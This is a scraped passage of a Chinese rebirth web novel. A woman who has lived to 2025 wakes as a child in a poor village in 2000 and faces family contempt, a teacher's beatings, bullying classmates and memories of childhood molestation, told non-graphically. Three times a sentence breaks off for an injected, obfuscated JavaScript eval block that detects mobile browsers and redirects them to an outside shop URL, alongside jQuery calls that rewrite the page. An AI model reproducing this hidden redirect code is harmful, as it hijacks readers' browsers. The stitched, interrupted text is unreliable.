言德珍不耐烦地回:“炒酸菜下面嘛。” 又是酸菜。 家里的柴火灶共有三口锅,挨着土墙的锅最大,常用来煮猪食,中锅用来煮人吃的饭,边锅最小,但上面没有锅。 就算有一口边锅,言德珍也不会允许她独自烧火做饭,因为无论是水,还是柴禾,都非常难取,可以说算得上奢侈品。 泄气的言双仔细回忆电饭煲进入村里各家各户的时间,时间久远,没回忆起来,而且小时候本身对这些东西就不太关注。 只不过她想起刚升初一的时候,家里买了一台彩电,好像还添置了两张新床,还是放床垫的那种,而电饭煲是比彩电和床垫更早出现的。 所以或许只要等个一两年,便可以实现自己做饭的愿望。 周秀莲烧水煮挂面时,言双趁机将洗好切段的韭菜扔进沸腾的锅里,又在周秀莲捞面时,抢先将韭菜捞入自己碗里。 “不要面咋吃?”周秀莲说着往言双碗里夹了一筷子面,“倒点酸菜水水和着吃。” 言双将面挑出来一些,送入手边不知是谁的碗里,回道:“我只吃一点点,吃太饱的话,晚上睡觉总是在找厕所。” “那才怪了。”周秀莲说着,已经把面一根不剩地捞入灶台上的碗里。 在天楼上吊苞谷的言德珍下楼,经过厨房,都没把自己的饭碗端上。 桌旁只有四个人,言双怪道:“婆婆哪儿去了?不吃饭么?” 言蓉回:“婆婆在吃轮锅饭啊,到二妈们上面去了。” 言双都忘记这茬了,想到婆婆吃轮锅饭时受的苦,不免叹气。 “这韭菜煮起还怪好吃哎。”言德珍忽然道。 他吃的大概是言双没有捞完的韭菜。 言双切了一声道:“本来就好吃,韭菜也算绿叶菜,里面含有维生素、膳食纤维,对身体很好。” “你到底在哪儿捡的这些话?”言德珍和周秀莲几乎是同时诧异道。 他们不懂言双在说什么,但知道言双说的一定是什么新词儿。 言双从他们的神情中看到了一丝丝骄傲,大概是觉得其实自己生的娃儿并不笨,也许不再会像小学一年级那样经常尿裤子,期末考试数学考十二分。 “我是重生来的,我本来已经活到2025年了,但不知道为什么又回到现在,所以我知道很多你们不知道的词。”言双如实相告,但她知道没有人会相信。 所以她继续说:“2025年我们家已经不住这种房子了,住在新式的三层混砖房里,每个人都有手机,手机可以看电视看电影,刷短视频,还能打电话、打视频,以后大家都不用纸币了,都用手机扫码支付。” 她这些话在2000年信息十分闭塞的山村里,成功地逗笑了另外三人。 言德珍笑完,又一脸严肃地说道:“一天胡说八道啥。” 周秀莲和言蓉则因为迷信,认为她还是个小孩,说的话有某种意义,问道:“那我们2025年在弄啥?” 言双依旧照实说:“妈你在给姐姐带娃儿,姐姐你在城里教大学,爸爸带了两年就回村里养猪种地了,不忙的时候就去姐姐那儿耍。” 城里、大学两个信息让言德珍、周秀莲、言蓉都来了兴趣,因为是两个寓意很好的信息,言双在这三人眼里俨然成了顶级预言大师。 言德珍问:“那你在弄啥?” 言蓉也道:“对啊,你在哪儿?” 言双故作高深莫测的姿态说:“天机不可泄露。” 一脸童稚的言双说出老成的话,又将另外三人逗笑。 言双抓住机会问:“可不可以给我做一张床,我想一个人睡小儿间?” 言德珍敛了笑容,“哪有材料给你做床?跟你姐姐、婆婆睡得下,淘那些神弄啥?” “不需要很大,一米宽就行,而且也不需要很牢固,反正我初一的时候,你们就会买新床,只要能支撑我睡四年左右就行。” 一开始言双的确打算自己收集材料制作竹床,但她在堵小儿间的墙缝时发现,她的脑子里知道该怎么做,但手上的动作很不熟练。 写字的时候,她就发现她写的字并不像2025年写的那么好看,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923931|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没有深入地想。 反正目前她就是处于一个脑子会很多事情,但手不会的状态,大部分事情都还是得依赖父母。 “那你再等四年不就行了?”言德珍笑意有所恢复。 “不行。”言双激动道。 她一想到初中学校爆发好几年的全校性质的脓疱病就害怕,她因为脓疱病身上留下了很多疤痕,很长一段时间里,她连短袖都不好意思穿。 她的脓疱病是言蓉传染给她的,为了避免再次感染,她必须得避免跟言蓉睡在一张床上。 言蓉大概因为不是疤痕体质,脓疱病在她身上留下的疤痕并不明显,所以那场传染病对她无论是生理,还是心理层面,都没有太大的影响。 周秀莲说:“找些材料给她凑一张床嘛,她说要去她刘表婶那儿要竹子。” 言德珍沉默地喝面汤,没有说同意,也没有说不同意。 “如果你们给我做一张床,我就告诉你们挣钱的路子。”言双瞎出招,不等周秀莲和言德珍又出言呵斥或笑话她,她便将记得的信息全盘托出。 “婆婆死了之后,爸爸你跟妈都会去市里打工,去的是刨花板厂,但我不建议你们在里面长呆,因为那个厂很快就会倒闭。” “之后爸爸会去市里上西坝那个地方的煤矿厂上班,做了大概有四五年,那里的收入还可以。妈因为我一个人在家,没有考上高中而愧疚回家照顾我让我复读。这一次我不可能考不上高中,所以妈不用回来,可以去煤矿上给工人煮饭。或者你们就在这个时候,去找绑钢筋的工地,反正后面煤矿厂也会垮,你们最终都要去绑钢筋,还不如早点去。靠绑钢筋你们能送我和姐两个人读大学,还能把房子修起来。” 言双说完顿觉一阵悲凉。 穷人就算重生了,要想把日子过好,依然是四处找活路,没有任何捷径可走。 在言双她们村,未满十二岁的小孩子直接说某个老人会死,一直都被认为是不祥的且一定会应验的预兆。 另外三人的神色因此严肃起来。 言双咽了咽口水说:“婆婆是2006年的冬月某天死的,她大概在四五月份,反正是大爹家收豌豆晒豌豆的季节,在大爹家踩到豌豆摔倒了,没有去看医生,回到我们家之后就病了,全身水肿,靠乡村医生输液治疗了一段时间,在冬月一个下雪粒子的凌晨四五点死的。” 言德珍呵斥道:“一天胡说八道。” 言双不得不继续搜索脑子里存储的信息,说:“你们去绑钢筋遇到的第一个老板叫周光荣,后来你们跟着三姨家的大儿子一起做,相处很不愉快,但还是挣到了钱。再后来二舅离婚,找了一个新的女的,你们跟着那个女的一起做,结果那个女的把你们撵走了。” 即使言双的信息细致到了这种地步,周秀莲和言德珍明显还是不信她。 周秀莲推开碗,双腿长长地伸到桌子底下,双脚交叠在一起,又开始掏烟抽。 言德珍则又脱了鞋,抖里面的泥土。 言双速速跳到院坝里,远离他们制造的恶臭环境。 她望着太阳落下的方向,忽的想到了另一件事,远远望着桌子周围的三个人说:“大姨的女儿会因为生小孩死掉,她生下的女儿会取名徐茜。” 5. 恶魔 “狗/日猪脑壳,你张起嘴巴胡说嘛。”周秀莲左手夹着烟的食指和中指指着言双骂道。 言双的目光追随着周秀莲手指间那点猩红的火光,继续“预言”:“大姐是2000年农历九月十二死的。” 言双之所以准确地记得这个日子,是因为徐茜的生日就是她妈妈的死亡日。 从周秀莲的呵斥来看,大姐还未遭此一劫。 所以如果有电话,言双其实可以说服周秀莲给大姨打一通电话,让大姐去医院生小孩,而不是坚持在家生,并且在胎盘没有自然剥离的时候,不是请乡村医生手动剥离,而是直接送医院。 可是没有电话,而且周秀莲也不会相信她。 “今天是农历多少?”言双仍有些不甘心。 言德珍嘲讽道:“你背名在念书,几号都不晓得?” 已经拿着作业在灯下写的言蓉说:“我只晓得阳历是九月二十三号。” 言双没办法根据阳历推算出阴历,而言德珍和周秀莲完全把她的话当作胡言乱语。 改变他人命运这件事,似乎本身就不现实。 “双娃子,你们不去看电视吗?”一个浑厚的声音响起。 言双扭头瞧见来人,吓得连连后退,攀着石坎爬上走廊,挤在言蓉身边。 言蓉收拾好书本,站起来回道:“去院子底下看还是去新房子里看?” “院子底下,新房子那路上有坟。”徐枫及其姐姐徐惠回道。 “妹娃子去不去?”言蓉问身边的言双。 言双还被恐惧包围,尚无法正常地与言蓉交流。 她远远看着站在她家院坝口的徐枫,活生生的徐枫,心几乎提到了嗓子眼儿。 徐枫这样未满十二岁就夭折的人带来的恐惧,远比婆婆这种因为年迈去世的人带来的恐惧多得多。 言双屏住呼吸,不敢细瞧徐枫的脸,颤着声嗓回道:“我不感兴趣,你们去看吧。” 除了不敢和徐枫走夜路之外,言双不去看电视还有一个原因,那些电视剧都是她看过的,况且长大之后她看了太多太多的电影、电视剧、小说,以至于那些新出的影视剧她都觉得没意思了。 “灰,之前不是一听到看电视,跑得快的跟毛二娃一样,今天咋不去了?”周秀莲诧异。 言德珍则说:“跟你姐姐同路去,不然她等会儿一个人。” “我不去,我有事情做。”言双始终没去看徐枫的脸,她怕昏暗的夜色中出现一张苍白虚弱的脸。 言蓉的电视瘾不小,没有再劝说言双,很快就随着徐枫姐妹俩,以及公路底下那家的两姊妹离开。 言德珍和周秀莲继续在灯下撕苞谷,言双在距离他们稍远一点的地方搓玉米软壳,蚊子像是排兵布阵过一样,只一会儿的时间,言双身上就起了好几个包,痒得她瞎抓好一阵。 “你搓那弄啥?”周秀莲又点燃一支烟,一旁的言德珍开口要了一根。 蓝色的烟雾袅袅上升,接近白炽灯时,消散不见。 “搓成股连在一起当一张垫子用。”言双提高衣领,捂住口鼻,瓮声瓮气地回答。 此后再没人说话,唧唧虫鸣声,玉米棒子砸地的声音,以及玉米壳窸窸窣窣的摩挲响声,声声入耳。 第二天大清早,言双听到锯木头的声音,急急忙忙套上衣服裤子,趿拉上鞋子就跑出歇房。 言德珍搭了一条长板凳,一只脚踩在长板凳上,一只脚踩在地上,一只手按着支在长板凳上的木板,一只手臂一伸一缩地使用截锯。 “是给我做床吗?”言双兴奋道。 言德珍没否认,言双激动地跳下石坎,绕着言德珍问:“我能帮什么忙?” “你帮忙,帮个屁忙,过去,莫挡路。”言德珍凶道。 网络上刮起声讨原生家庭的风潮之前,言双就已经认识到自己的原生家庭很糟糕,也已经直截了当声讨过父母许多次,但毫无用处。 后来,她接受了父母并没有她曾经以为的那般爱她的事实,从精神上弑父又弑母,过得逍遥又自在。 所以,当重生之后,又不断地接受言德珍和周秀莲的嘲讽时,她内心不再起波澜。 她知道,没有人会爱他人胜过爱自己,所以她无需再计较周秀莲和言德珍对她的坏,她要做的是利用他们对她的好,利用莫名其妙的重生机会,获得曾经幻想过的人生。 言双不再回想曾经那个小人儿被吼、被骂、被嘲弄后尴尬、局促、气愤的脸,轻快地跳到一旁,拿了扫帚清理院坝里的杂物。 “你在锯啥子?”公路下面的那家男人徐德财端着一碗稀饭走上来问道。 言德珍的脸上倏的一下腾起笑容,有些不好意思地说:“给娃儿做个床看看。” 言双眼看着言德珍的动作变得凝滞。 徐德财的嘴角挂着几滴稀饭,脖子前倾,露出积满污垢的黄牙,嘲笑道:“你有法做个啥子床!” 言德珍脸上仍然挂着僵硬难堪的笑容,言双感觉就像是从前还未觉醒的自己在照镜子。 “你咋都四五十岁还喜欢嘲讽别人?”言双回怼道,并举高扫把,扬起一阵泥灰。 徐德财背身挡开泥灰,装作没听到她所说的话,龇着呀骂道:“这批娃儿,咋个一点礼貌都没得,我说言德珍、周秀莲,你们教娃儿嘛就是没教好。” 言德珍闷着头不讲话,周秀莲在走廊上训斥道:“那是咋那样扫地呐。” “不然怎么扫?扫到他嘴里吗?”言双无辜地瞪大双眼。 “猪脑壳。”言德珍突然骂了一句。 “数学考十二分,把买盐写成买监,赶集写成起集的娃儿,跟猪脑壳是差不多哎,哈哈哈哈哈哈。”徐德财说完自顾自地大笑起来。 言双捕捉到徐德财脸上那一抹得逞的笑,又道:“猪脑壳就猪脑壳呗,那也比你们的蟑螂脑聪明。” 不过她马上意识到失策了,村里没有蟑螂出没,这些人根本不知道蟑螂是个什么东西。 唉! “我笨就笨点儿呗,起码没有违法犯罪,不像有些人是□□犯,还引以为荣,到处宣扬。”言双的指腹压紧一根一根细竹棍组成的扫把杆,心跳声响咚咚,跟二十八岁回村,在徐德财面前大爆发那次一样。 只是那一次,她的防御能力还处于升级阶段,爆发之后哭了很久很久。但结果仍然是好的,那次之后,徐德财再不敢当面挖苦嘲讽她。 徐德财的神色明显愣了一下,言德珍和周秀莲脸上则显出一丝惊恐。 院坝右边那座黑漆漆的木架房里,爆发出一阵尖锐喜悦的笑声。 徐新春的房子位于言双家房子的右手边,两家人的房子之间仅仅隔了十米不到的一块自留地。 长大之后对院子里的大大小小的人,以及他们之间发生的事件,分析了无数次的言双,当然听出了董丽蓉笑声里的幸灾乐祸的看戏心态。 她猖狂的笑声没有像以前那样恐吓到言双,但徐德财苦着一张脸,装作无事发生的样子,大声哼唱着走下了言双家的院坝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923932|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 言双瞥一眼边走边喝稀饭的徐德财,生出一种初战告捷的兴奋感。 没有手机玩的日子,过得特别慢,慢到仿佛有人在这样的日子里注入了大量泥沙,根本流动不得。 苞谷收获季节过去,村里开始整天下雨。 言双无奈地看着周秀莲和言德珍拿出来的蛇皮口袋,看着他们将两个蛇皮口袋折成孝帽。 伞是没钱买的,烟却是有钱抽的。 泥泞湿滑的羊肠小道上,还有一两个顶着蛇皮口袋的人,其他人都打着伞,尽管有些伞风一吹就要散架,但好歹人家有伞。 言双护着书包,书包里装着她另外一双鞋,她可不想再像以前那样,让双脚被湿哒哒的鞋子泡一整天。 她提醒言蓉也带一双可以换的鞋,可言蓉不听她的话。 他人这种极小的决定都无法被她改变,她几句话又能对他人的生死起到什么作用? 到了教室门口,言双脱下湿鞋,倒出里面的泥水,使劲甩了甩,拿出包里的一块烂布,擦干净脚,方才换上包里的那双干燥的蓝色烂网鞋。 言双提着湿鞋,在地上跺了跺脚。 谁知道这破鞋实际上叫网球鞋啊? 言双边摇头边走进教室。 她坐在教室最后一排,将湿鞋立在教室后面的墙边。 擦着眼镜上的脏污的吴绍全,头也没抬地吼道:“双娃子,你把孩给我拿出去。” 吴绍全用的是方言,声嗓极恶极大,教室里其他人都被吓了一跳,言双自然也不例外。 她准备走上前去拿鞋时,看到另一边也立了两双湿鞋。 “为什么只让我一个人拿出去?”言双的心思如游丝漂浮摇荡,“你是不是对我有意见?” 吴绍全蹭地一下从椅子上站起来,拿着竹棍,深一脚浅一脚地走向言双,扬起竹棍,重重地打到言双身上,边打边斥骂:“你还给我还嘴,你还给我还嘴……” 言双的衣服单薄,这个季节的衣服可不单薄么?嗯,就算是冬天,她的衣服也很单薄。 痛意注满全身。 这人这个时候到底过得有多不好,才会如此针对她这个弱小? 言双一边挨打,一边梳理回村之后搜集的吴绍全一家的信息。 2000年,吴绍全大儿子应该是二十五岁上下的年纪,其孙女已经约莫三岁,一只腿已经显出问题,跟吴绍全的走姿一模一样。 此外根据言双在吴绍全儿子的抖音,及其同村友人的抖音里捕捉到的信息,他的大儿子此时似乎在广东,且被骗进了传销组织。 吴绍全和徐新春是同父异母的兄弟,徐新春在乡里横行霸道,处处结仇,尤其与言双和言双二爹一家仇怨极深。 言双学前班的时候,吴绍全纵容徐敏欺负她,大概是故意的。 但自从村小校长出面干涉过之后,言双和徐敏再未被吴绍全安排成同桌。 之前言双还以为吴绍全不遗余力地霸凌她,是为了帮徐新春一家泄恨,现在梳理完信息之后,才想通为什么吴绍全会不顾中心校财务处的人的要求,执意让言双和言双二爹一家的小孩另交一份学费给他。 大概是传销组织已经找吴绍全要钱赎人了。 唉,言双忍着痛叹气,内心吟唱:地狱空荡荡,恶魔在人间啊。 泄恨泄够了的吴绍全,又深一脚浅一脚地走回讲台。 言双在死寂的气氛中回到自己的座位,游丝一般的心思反射出五颜六色的光,像是正对着一轮太阳。 6. 行动 “你们觉不觉得吴老师总是针对我?”课间休息的时候,言双大声向四周的同学发问,“他好像总想把我打死。” 贾玉强落井下石,“活球该。” 徐泽强、周成没说什么,像是被吓到了。 倒是坐在言双右边的余金秀说:“他可能没看到其他娃儿的鞋。” “是吧?我怎么感觉他只看得到我的问题,还故意找我茬。”言双的音量又提高了一些,离她较远的同学开始看向她。 “该着啊。” “哪个喊你把鞋子拿到教室的。” “按我说吴老师就该把你往死里打。” 这些嘲讽奚落的话都是从徐新伟、周丽平、徐荣彬等人的嘴里冒出来的。 言双回忆这几人2025年的状态,觉得跟他们一般见识实属浪费时间,她只要不干涉他们的人生,辛劳困苦会自然找上他们。 “我怀疑他对我有私仇。”言双加深其他人对吴绍全这次体罚事件的影响,“你们都是冷漠的旁观者。” 对于深山老林里的村小三年级学生而言,言双说的话信息量有点大,理解起来具有难度,很快其他人便不再对她挨打的事情放在心上。 下午放学回家,言双一字一句,清晰地向周秀莲讲述了一遍挨打的经过,言德珍出现时,她又重新叙述了一遍。 “我感觉我骨头都被打疼了,说不定会留下后遗症,我都不敢去上学了。” 周秀莲刷着锅不在意地说:“那当老师的,打你两下有啥?” 言德珍则斥骂道:“你这么大个人了,在学校挨了打,还要跑回来说?” 言双失望,难怪她学前班被徐敏欺负,向周秀莲告过一次状之后,再也没有给家里人讲过学校里发生的事情。 估计她被徐敏欺负的时候,言德珍也骂她没本事、没用,被欺负了只知道告状。 “我不给你们说,给谁说?你们不是我的父母?难道你们要眼看着吴绍全把我打死?我要是心理上有问题了,都是你们的错。”言双挤出眼泪叫唤道。 言德珍端着一撮箕的玉米核,经过她时,胳膊肘推了她一下,不耐烦道:“快让,莫站在这里挡路。” 言双原本打算躺到地上撒泼打滚,可一低头看到坑坑洼洼的地面,以及灰尘和水迹,打消了这个念头。 第二天早晨,言蓉起床时,推言双,“你还不起?前几天这个时候你不都吃过早饭了?” 需要上学的日子里,言双和言蓉的早饭都是头一天剩的酸菜洋芋干饭,言双不愿意吃,于是早早起床给自己做面条。 由于她对周秀莲和言德珍心存怨恨,她还会趁机给自己煮一个荷包蛋。 周秀莲和言德珍会不会因为这事儿才不想为她说话的? “我不敢去上学,我害怕吴绍全打我。”言双蒙着头哭道。 “我不管你,你学前班不上学,我跟着你挨了好多打,现在不要再连累我。”言蓉说着,开始利落地穿衣。 周秀莲和言德珍早已上坡干活儿,言蓉走后,言双躺在床上,想吃肉,是新鲜的瘦肉,而不是挂了快一年的肥肥的腊肉。 “你又不去念书?”言德珍大吼道。 言双正站在椅子上,往微沸的水里打鸡蛋,吓得差点从椅子上摔下来,“我跟你们说了,吴绍全总找我麻烦,还总是打我,我不敢去。” 她的话还没落地,身上就挨了一下。 言双转过头,手里还拿着鸡蛋壳,而言德珍的手里拿着他脱下来的烂胶鞋。 言双心想:唉,希望那鞋里的灰没有飘到我的锅里。 “你打吧,打了我也不去。”言双扣上铝制锅盖,慢腾腾地从椅子上下来,这期间又挨了一鞋板,“你们和吴绍全是一类人,都是暴力的拥护者,你们比谁都懦弱,却举刀挥向更弱者,你们是世界上最无耻的那类人。” 言双激愤演讲,把自己都感动了,但又挨了几鞋板子。 她这会儿的身体皮不糙肉不厚,着实有点疼,她咬牙忍着,等言德珍撒完气。 “你不做错事,他咋会打你?”突然出现的周秀莲帮腔道。 “他想打就打,还管我做没做错事?”水蒸气的声音透过铝锅盖的铁丝穿孔奔涌出来,言双又站上椅子,往里扔了一股面条,“你们就没想过他打我,是因为跟你们有仇?” 灶台上的碗里,还放着言双洗好的茴香苗和藿香叶,一般家里都拿这两种蔬菜当香料用,但她记得茴香和藿香的含钙量不低,所以多吃一点有好处。 锅里的水、面条、鸡蛋不断翻滚,言双投入茴香和藿香,几秒后,原本还发白的清汤变成了绿色。 她回头问道:“你们还是煮稀饭吃?” 这不回头还好,一回头,她发现周秀莲和言德珍的神色略微有些异常。 能不异常吗! 以前的言双一挨打就撒泼打滚,扯着嗓子哭嚎,她妈周秀莲还因此一直说她是破竹竿声音。 现在的她竟然一边挨打,一边平静地做饭。 “额,那个……我太饿了。”言双支支吾吾道。 忽然间,一缕担忧浮起,照这样下去,周秀莲和言德珍大概率会找人给她杠神。 这个年代,村子里很流行杠神。 杠神跟跳大神一个意思,是封建迷信的一种。 “等我吃完,我就去上学。”言双暂时妥协。 言德珍大约也是打累了,苦着一张脸,光着一只脚,走出了灶房。 而周秀莲则烦躁道:“舀那么多水,不要人背是不是?锅还给我整脏。” 言双苦中作乐,默声吟唱:好想有个家。 到达学校操场旁的那棵大核桃树时,言双拼命想伤心事,终于挂上两串眼泪之后,一边抽气一边走向教室。 她哭喊道:“报告。” 教室里的其他同学的取笑声或大或小,言双心里却无比高兴。 不在意他人眼光的人生,真是爽到飞起。 吴绍全的反应则一点儿没出乎言双的意料,他高昂着那颗仿佛长毛了的卤蛋,拿着粉笔在黑板上刷刷刷地写字,用难听的方言领读古诗。 过了不知道多久,反正言双已经站到无聊了,吴绍全才吼道:“进来。” 贾玉强、贾应涛、徐新伟、徐敏等人照例嘲笑了言双一番,言双原本想戳戳这几人的痛处,但她总觉得这样像是在跟几个七八岁的破小孩一般见识,于是埋头练字。 课堂上,吴绍全讲的知识点很简单,就算言双不听,也能在被叫起来时立即答出。 她无聊,无聊到把课文翻译成英文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923933|192688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、韩文,不一定完全准确,但能打发时间,准确不准确的都不重要。 现在不比数字化时代,时间的消耗手段多种多样,随便刷一刷短视频,一个小时就没了。 现在,等待就意味着无聊。 无聊就算了,吴绍全还又拖堂。 书教得那么差,拖堂有个屁用。 言双低头翻白眼,一双黑黢黢的手,伸向她的腹部。 小时候的很多事情像是梦境一般存在于言双的记忆里。 被贾玉强猥亵是其中一件。 同龄人的猥亵相对没有那么暴力,激发的恐惧也没那么清晰,甚至会产生愉悦感,为此会不断寻找那种愉悦感,又因为自然而然地认为这种事是不能启齿的,而做出许多的荒唐举动。 被贾玉强猥亵这件事,言双向他人提及时,应该是二十六七岁。 那时候她已经有意识地接触女性主义知识,并发现绝大部分的女生小时候都被猥亵过,对被猥亵过这种事的羞耻感有所减少。 不过言双第一次知道身边有人被成年男性、年长男性猥亵是在初中。 某天,晚上睡觉的时候,不知道大家聊到什么,跟言双头对头睡着的徐雪蓉说她大爹的两个儿子,及其外爷摸过她。 也许徐雪蓉现在都已经忘记这件事了,但言双记得,不过那时候她并未将贾玉强猥亵她的事情讲出来。 因为那时候的她仍然感到羞耻。 而后来因为贾玉强的行为引发的其他荒唐举动,言双过了三十岁,才克服羞耻,向他人,向人工智能软件讲述。 无论是为了寻找熟悉的愉悦感蹭牛鼻子,还是抱着鸡喂奶,还是六年级的时候,因为偶然阅读了武侠小说里的某些情节而对性产生好奇,然后倒扣背篓,在上面又搭上椅子,每天晚上偷偷摸摸、小心翼翼地攀爬到椅子上,利用小儿间与楼上那间房之间的缝隙,偷看床上的父母,都让言双感到无比羞耻。 很长一段时间里,她以为自己是变态,以为自己长大之后一定是变态。 好在网络发展迅速,她接触到了极为宽广的世界,学习了许许多多的知识,意识到她的荒唐举止几乎是性教育缺乏造成的,她才确定自己不是变态。 言双打开贾玉强的脏手,并瞪了他一眼。 贾玉强悻悻地收回手。 虽然言双对贾玉强这个人极其厌恶,但她不得不说贾玉强也很倒霉。 小时候的言双,就听过关于贾玉强爸妈在家播放黄/碟的八卦。 他缺乏性教育意识的父母,绝对不会避开他播放黄/碟,更不会防备他偷偷播放黄/碟。 就像言双的妈妈周秀莲与院子里其他的妇女谈论邻居家男人的情/色八卦时,从来没想过她其实听得懂。 言双觉得自己的成长环境是一个巨大的暴力培养皿,而培养皿里面的暴力多种多样,每一种都可能影响一个小孩子的人格。 讲台上的吴绍全没有丝毫要放学的意思。 无聊的感觉又追上言双,被拂了面子的贾玉强,一拳打到言双的胳膊。 言双蓄积力气,重重地打了回去。 “你给我站起来。”吴绍全手中的粉笔头准准、稳稳地打中言双的额头。 言双起身,站在跑入教室的一束火红的霞光里。 7. 大人 记忆力好又记仇的言双,长大之后,见到村里跟父母差不多年纪的老人,常常被他们的和颜悦色恶心到想对他们拳打脚踢。 言双高中发奋图强一年多,考上了大学,虽说只是个二本,但那时候村里考上本科的小孩很少,父母都是农民考上本科的小孩更是少之又少。 而且言双就读的是县城唯一的高中,而她们县城是贫困县,唯一一所高中的升学率也没什么看头。 如果言双没有记错,她高考那一年,学校整个文科班最高分也就五百四十多分。 所以很快,言双考上大学的消息就传开了,言双回到老家时,遇到和颜悦色的老人的频率急速提高。 吴绍全是对她和颜悦色的老人之一。 他不记得他三番五次催言双回家要学费的事情,也不记得他的孙女让言双背的事情,更不记得他曾经多次体罚言双。 但他记得言双一年级数学考十二分的事情。 言双在城里上班的时候,吴绍全坐着轮椅或者拄着拐杖在村里的马路上闲逛,拉住言双的父母,以及放暑假的言蓉讲述这件事。 听说他的语气十分的温和,他称言双考十二分是因为监考老师人高马大,把言双吓到了。 真是好讽刺! 一个人成为弱者之后,居然会显得很善良。 言双一年级考十二分当然不完全是被人高马大的监考老师吓到了。 她是因为做了几个填空题还是选择题之后,遇到了不会做的题,结果监考老师就站在她身边不动,她急了,越急越不知道该做什么,时间并不会因为她不知道做什么而暂停。 考试时间结束,她交上了一张几乎算白卷的试卷。 当二十六岁的言双听言蓉提到吴绍全忆起的往昔时,回了一句:“那是因为没有人教过我先易后难啊。” 言蓉却道:“那别人也没有被教过啊,别人为什么会?” 言双多记仇啊,听到言蓉的反驳后,对言蓉也恨了起来。 似乎从未有人深入地为她着想过。 没有人考虑到她被吴绍全欺负、霸凌,根本没有心思听课、学习,既然没有心思听课、学习,她又怎么会记得吴绍全叮嘱大家考试要先易后难。 也许是恨,浓烈的,经久不衰的恨带她回来的。 “我今天又被吴绍全拿粉笔头丢了,贾玉强打我,他却只让我一个人站起来。”言双背着书包,抱着在放学的路上扯的青草,一边往走廊上走,一边大声对周秀莲和言德珍播报她的上学要闻。 周秀莲和言德珍还是只当她在放屁,坐在走廊下的桌子旁吞云吐雾。 “你扯你那弄啥?”言蓉问。 “喂鸡。”言双回道,“我待会儿还可以去逮些虫子喂它们,这样它们的产蛋量会提高。” 这个季节的蛐蛐、蚂蚱比较多,逮起来比较容易。 言双抱着一捆乱七八糟的青草,走近自留地旁边的鸡圈,拉开圈门,将青草一股脑儿扔进去,又关上圈门,拿旁边一根手腕粗的木棍顶住圈门。 “作业都不晓得做,老师不处罚你处罚哪个?”言德珍说。 “自己的娃儿都不晓得维护,老天爷不处罚你处罚哪个?”言双毫不留情地回道。 2023年的腊月,村里的结婚酒席一家接一家,言德珍帮完忙回家,永远黑着一张脸,看言双的眼神,对言双说话时的语气充满着浓烈的恨意。 一天晚上,言德珍回到家,言双、言蓉、周秀莲刚和两个邻居聊完天,谈及了彩礼、嫁妆、房车等话题。 言蓉见到言德珍回家,委屈涌上来,眼里含着泪花,伤心道:“我结婚不说房子、车子,连嫁妆都莫得。” 言德珍和周秀莲苦着一张脸,稍不耐烦地说:“我们该要有,才能给。” 言双早已苦催婚催生许久,她不懂为什么她反复强调绝对不结婚不生子,父母还是听不进去。于是她改变策略,常常在周秀莲和言德珍转述谁谁又离婚了,谁谁又跟老人婆不和了,谁谁结了婚家暴、赌博、出轨了的时候,大笑道:“看吧看吧,我都给你们说了,结婚就是悲剧的开始。” 所以她听到言蓉和父母的对话之后,又趁机笑道:“哈哈哈,幸亏我不结婚。” 言德珍突然恶声骇嗓道:“那个喊你不结婚的么?” 言双被吓得一愣,反应过来之后,开始边哭边嚎,发大疯,最后把菜刀拿出来,往言德珍手里塞,让他把她砍死。 言德珍在言双开始哭嚎的时候,就已经不再说话,此刻瞥一眼菜刀,身体不住地扭转,一边轻声细语地劝:“双儿,我给你说,你这个性格要不得。” 言双大为光火,哭嚎的声音加大,将菜刀往言德珍的手里按,被周秀莲和言蓉劝住。 自那以后,言德珍和周秀莲不再敢催她结婚,但开始催生,让她生个小孩就好。 言德珍的口头禅是:“你莫得个娃儿,老了你就晓得了。” 言双冷血道:“你有娃儿,我会让你尝尝有娃儿也没有用的感觉。” 言德珍希望言双结婚生子,但言双三十三岁都还是极为坚定的不婚不育主义,所以从某种角度来看,言德珍的确遭到了老天爷的处罚。 他被乡村里的人嘲笑二女儿每天窝在农村,大门不出二门不迈,还不结婚,长得越来越胖越来越丑,没有人看得上了。 周秀莲剜了她一眼,骂道:“狗日猪脑壳,那是你老年人。” 言双冷笑了一声说:“既然这样,那些你坐月子没做好,产后寒、小产、刮宫、引产遭的罪就不要给我说,给你老公说。” “我看你是在学校挨了打不出奇,回家了还想挨一顿?”言德珍一边脱鞋一边跳起来。 言双机敏闪躲,跳下石坎。 “双娃子又在挨打嘛?”一个浑厚粗哑的声音在言双身后响起。 言双一回头,吓得又爬上走廊,躲入小儿间。 她透过蓝色窗玻璃观察外面的徐枫,徐枫在院坝里逗留了几分钟,大概是自觉无趣,很快离开了。 